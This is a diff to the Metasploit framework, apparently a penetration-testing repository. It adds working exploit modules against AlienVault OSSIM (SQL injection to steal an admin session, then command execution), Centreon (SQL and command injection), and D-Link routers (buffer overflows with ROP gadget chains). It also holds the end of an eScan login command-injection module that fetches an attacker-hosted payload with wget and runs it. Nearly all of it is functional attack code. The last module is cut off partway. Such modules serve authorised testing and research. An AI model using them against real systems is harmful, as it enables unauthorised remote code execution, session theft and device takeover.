print_warning("#{peer} - Use a shell payload in order to get root!") + when /shell/ + o = session.shell_command_token(cmd) + o.chomp! if o + end + return "" if o.nil? + return o + end + + # Escalating privileges here because runasroot only can't be executed by + # mwconf uid (196). + def on_new_session(session) + cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh") + super + end + + def primer + @payload_url = get_uri + wget_payload + end + + def on_request_uri(cli, request) + print_status("Request: #{request.uri}") + if request.uri =~ /#{Regexp.escape(get_resource)}/ + print_status("Sending payload...") + send_response(cli, @pl) + end + end + + def exploit + @pl = generate_payload_exe + if @pl.blank? + fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload") + end + @payload_url = "" + + if datastore['EXTURL'].blank? + begin + Timeout.timeout(datastore['HTTPDELAY']) {super} + rescue Timeout::Error + end + exec_payload + else + @payload_url = datastore['EXTURL'] + wget_payload + exec_payload + end + end + + # we execute in this way, instead of an ARCH_CMD + # payload because real badchars are: |&)(!><'"`[space] + def wget_payload + @dropped_elf = rand_text_alpha(rand(5) + 3) + command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" + + print_status("#{peer} - Downloading the payload to the target machine...") + res = exec_command(command) + if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/ + register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf)) + else + fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target") + end + end + + def exec_payload + command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};" + command << File.join(datastore['WRITABLEDIR'], @dropped_elf) + + print_status("#{peer} - Executing the payload...") + exec_command(command, 1) + end + + def exec_command(command, timeout=20) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, 'login.php'), + 'vars_post' => { + 'uname' => datastore['USERNAME'], + 'pass' => ";#{command}", + 'product_name' => 'escan', + 'language' => 'English', + 'login' => 'Login' + } + }, timeout) + end + +end diff --git a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb index b26f7488d9..5e2674723a 100644 --- a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb +++ b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index b8fa872f5c..b5c8c3d0e8 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Evgeny Legerov ', # original .pm version (VulnDisco) + 'Evgeny Legerov ', # original .pm version (VulnDisco) 'jduck' # Metasploit 3.x port ], 'References' => diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index 5d69d3b95e..5891da9e62 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb index ef2f097f2e..569747d8a1 100644 --- a/modules/exploits/linux/games/ut2004_secure.rb +++ b/modules/exploits/linux/games/ut2004_secure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb index 9c95dd9722..e3a9832d88 100644 --- a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb +++ b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending GET request with command line payload...") sock.put(req) - res = sock.get(3,3) + res = sock.get_once(-1, 5) if (res =~ /
(.*)<\/h5>/smi) out = $1 diff --git a/modules/exploits/linux/http/alienvault_sqli_exec.rb b/modules/exploits/linux/http/alienvault_sqli_exec.rb new file mode 100644 index 0000000000..343ff95190 --- /dev/null +++ b/modules/exploits/linux/http/alienvault_sqli_exec.rb @@ -0,0 +1,356 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution", + 'Description' => %q{ + This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault + OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an + active admin session ID. If an administrator level user is identified, remote code execution + can be gained by creating a high priority policy with an action containing our payload. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sasha Zivojinovic', # SQLi discovery + 'xistence ' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '106252'], + ['EDB', '33006'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'WfsDelay' => 10 + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'RequiredCmd' => 'generic perl python', + } + }, + 'Targets' => + [ + ['Alienvault OSSIM 4.3', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Apr 24 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) + ], self.class) + end + + + def check + marker = rand_text_alpha(6) + sqli_rand = rand_text_numeric(4+rand(4)) + sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) " + sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}" + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'), + 'vars_get' => { 'date_from' => sqli } + }) + + if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root + return Exploit::CheckCode::Vulnerable + else + print_status("#{res.body}") + return Exploit::CheckCode::Safe + end + + end + + + def exploit + marker = rand_text_alpha(6) + sqli_rand = rand_text_numeric(4+rand(4)) + sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) " + sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}" + + print_status("#{peer} - Trying to grab admin session through SQLi") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'), + 'vars_get' => { 'date_from' => sqli } + }) + + if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/ + admin_session = $1 + @cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*") + print_status("#{peer} - Admin session cookie is [ #{@cookie} ]") + else + fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session") + end + + # Creating an Action containing our payload, which will be executed by any event (not only alarms) + action = rand_text_alpha(8+(rand(8))) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"), + 'cookie' => @cookie, + 'vars_post' => { + 'action' => 'new', + 'action_name' => action, + 'descr' => action, + 'action_type' => '2', + 'only' => 'on', + 'cond' => 'True', + 'exec_command' => payload.encoded + } + }) + + if res && res.code == 200 + print_status("#{peer} - Created Action [ #{action} ]") + else + fail_with(Failure::Unknown, "#{peer} - Action creation failed!") + end + + # Retrieving the Action ID, used to clean up the action after successful exploitation + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), + 'cookie' => @cookie, + 'vars_post' => { + 'page' => '1', + 'rp' => '2000' + } + }) + + if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/ + @action_id = $1 + print_status("#{peer} - Action ID is [ #{@action_id} ]") + else + fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!") + end + + # Retrieving the policy data, necessary for proper cleanup after succesful exploitation + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'm_opt' => 'configuration', + 'sm_opt' => 'threat_intelligence', + 'h_opt' => 'policy' + } + }) + + if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/ + policy_ctx = $1 + policy_group = $2 + print_status("#{peer} - Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!") + end + + # Creating policy which will be triggered by any source/destination + policy = rand_text_alpha(8+(rand(8))) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), + 'cookie' => @cookie, + 'vars_post' => { + 'descr' => policy, + 'active' => '1', + 'group' => policy_group, + 'ctx' => policy_ctx, + 'order' => '1', # Makes this the first policy, overruling all the other policies + 'action' => 'new', + 'sources[]' => '00000000000000000000000000000000', # Source is ANY + 'dests[]' => '00000000000000000000000000000000', # Destination is ANY + 'portsrc[]' => '0', # Any source port + 'portdst[]' => '0', # Any destination port + 'plug_type' => '1', # Taxonomy + 'plugins[0]' => 'on', + 'taxfilters[]' =>'20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found + 'tax_pt' => '0', + 'tax_cat' => '0', + 'tax_subc' => '0', + 'mboxs[]' => '00000000000000000000000000000000', + 'rep_act' => '0', + 'rep_sev' => '1', + 'rep_rel' => '1', + 'rep_dir' => '0', + 'ev_sev' => '1', + 'ev_rel' => '1', + 'tzone' => 'Europe/Amsterdam', + 'date_type' => '1', + 'begin_hour' => '0', + 'begin_minute' => '0', + 'begin_day_week' => '1', + 'begin_day_month' => '1', + 'begin_month' => '1', + 'end_hour' => '23', + 'end_minute' => '59', + 'end_day_week' => '7', + 'end_day_month' => '31', + 'end_month' => '12', + 'actions[]' => @action_id, + 'sim' => '1', + 'priority' => '1', + 'qualify' => '1', + 'correlate' => '0', # Don't make any correlations + 'cross_correlate' => '0', # Don't make any correlations + 'store' => '0' # We don't want to store anything :) + } + }) + + if res && res.code == 200 + print_status("#{peer} - Created Policy [ #{policy} ]") + else + fail_with(Failure::Unknown, "#{peer} - Policy creation failed!") + end + + # Retrieve policy ID, needed for proper cleanup after succesful exploitation + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'ctx' => policy_ctx, + 'group' => policy_group + }, + 'vars_post' => { + 'page' => '1', + 'rp' => '2000' + } + }) + if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/ + @policy_id = $1 + print_status("#{peer} - Policy ID [ #{@policy_id} ] retrieved!") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!") + end + + # Reload the policies to make our new policy active + print_status("#{peer} - Reloading Policies") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_status("#{peer} - Policies reloaded!") + else + fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!") + end + + # Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm. + dont_exist = rand_text_alpha(8+rand(4)) + print_status("#{peer} - Triggering policy and action by requesting a non existing url") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, dont_exist), + 'cookie' => @cookie + }) + + if res and res.code == 404 + print_status("#{peer} - Payload delivered") + else + fail_with(Failure::Unknown, "#{peer} - Payload failed!") + end + + end + + + def cleanup + begin + # Clean up, retrieve token so that the policy can be removed + print_status("#{peer} - Cleaning up") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"), + 'cookie' => @cookie, + 'vars_post' => { 'f_name' => 'delete_policy' } + }) + + if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/ + token = $1 + print_status("#{peer} - Token [ #{token} ] retrieved") + else + print_warning("#{peer} - Unable to retrieve token") + end + + # Remove our policy + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'confirm' => 'yes', + 'id' => @policy_id, + 'token' => token + } + }) + + if res && res.code == 200 + print_status("#{peer} - Policy ID [ #{@policy_id} ] removed") + else + print_warning("#{peer} - Unable to remove Policy ID") + end + + # Remove our action + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'id' => @action_id, + } + }) + + if res && res.code == 200 + print_status("#{peer} - Action ID [ #{@action_id} ] removed") + else + print_warning("#{peer} - Unable to remove Action ID") + end + + # Reload the policies to revert back to the state before exploitation + print_status("#{peer} - Reloading Policies") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), + 'cookie' => @cookie, + 'vars_get' => { + 'what' => 'policies', + 'back' => '../policy/policy.php' + } + }) + + if res && res.code == 200 + print_status("#{peer} - Policies reloaded!") + else + fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!") + end + + ensure + super # mixins should be able to cleanup even in case of Exception + end + end + +end diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 28344fa3ee..1eee4373bb 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/centreon_sqli_exec.rb b/modules/exploits/linux/http/centreon_sqli_exec.rb new file mode 100644 index 0000000000..417e2e6d14 --- /dev/null +++ b/modules/exploits/linux/http/centreon_sqli_exec.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Centreon SQL and Command Injection', + 'Description' => %q{ + This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon + Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command + injection in the displayServiceStatus.php component, it is possible to execute arbitrary + commands as long as there is a valid session registered in the centreon.session table. + In order to have a valid session, all it takes is a successful login from anybody. + The exploit itself does not require any authentication. + + This module has been tested successfully on Centreon Enterprise Server 2.2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'MaZ', # Vulnerability Discovery and Analysis + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + ['CVE', '2014-3828'], + ['CVE', '2014-3829'], + ['US-CERT-VU', '298796'], + ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78'] + ], + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 1500, # having into account 8192 as max URI length + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl' + } + }, + 'Targets' => + [ + ['Centreon Enterprise Server 2.2', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 15 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon']) + ], self.class) + end + + def check + random_id = rand_text_numeric(5 + rand(8)) + res = send_session_id(random_id) + + unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif' + return Exploit::CheckCode::Safe + end + + injection = "#{random_id}' or 'a'='a" + res = send_session_id(injection) + + if res && res.code == 200 + if res.body && res.body.to_s =~ /sh: graph: command not found/ + return Exploit::CheckCode::Vulnerable + elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif' + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Safe + end + + def exploit + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") + elsif check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?") + end + + print_status("#{peer} - Exploiting...") + random_id = rand_text_numeric(5 + rand(8)) + random_char = rand_text_alphanumeric(1) + session_injection = "#{random_id}' or '#{random_char}'='#{random_char}" + template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**" + res = send_template_id(session_injection, template_injection) + + if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/ + vprint_status("Output: #{res.body}") + end + end + + def send_session_id(session_id) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'), + 'vars_get' => + { + 'session_id' => session_id + } + ) + + res + end + + def send_template_id(session_id, template_id) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'), + 'vars_get' => + { + 'session_id' => session_id, + 'template_id' => template_id + } + }, 3) + + res + end + + def mysql_payload + p = '' + payload.encoded.each_byte { |c| p << "#{c},"} + p + end + +end diff --git a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb index 270fe2af3d..27d546f05b 100644 --- a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb +++ b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb index bfbb0ab651..0b43b461ad 100644 --- a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb +++ b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb new file mode 100644 index 0000000000..e345dc28a1 --- /dev/null +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link authentication.cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an remote buffer overflow vulnerability on several D-Link routers. + The vulnerability exists in the handling of HTTP queries to the authentication.cgi with + long password values. The vulnerability can be exploitable without authentication. This + module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares + such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module + 'Michael Messner ', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'References' => + [ + ['OSVDB', '95951'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Targets' => + [ + [ 'D-Link DIR-645 1.03', + { + 'Offset' => 1011, + 'LibcBase' => 0x2aaf8000, #Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/authentication.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + uid = rand_text_alpha(4) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/authentication.cgi", + 'cookie' => "uid=#{uid}", + 'encode_params' => false, + 'vars_post' => { + 'uid' => uid, + 'password' => rand_text_alpha(3) + shellcode, + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 718bc25350..21d0facf14 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 4928510332..d9a1f0ef17 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 125dab8587..4470db0325 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 4584c79a40..72f23c6e3a 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index a4bb691c6e..c2b8c13e31 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb new file mode 100644 index 0000000000..2fe19360ba --- /dev/null +++ b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link info.cgi POST Request Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different D-Link + devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component, + when handling specially crafted POST HTTP requests addresses to the /common/info.cgi + handler. This module has been successfully tested on D-Link DSP-W215 in an emulated + environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial PoC + 'Michael Messner ', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['OSVDB', '108249'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.02', + { + 'Offset' => 477472, + 'Ret' => 0x405cec # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 22 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/common/info.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/ + @my_target = 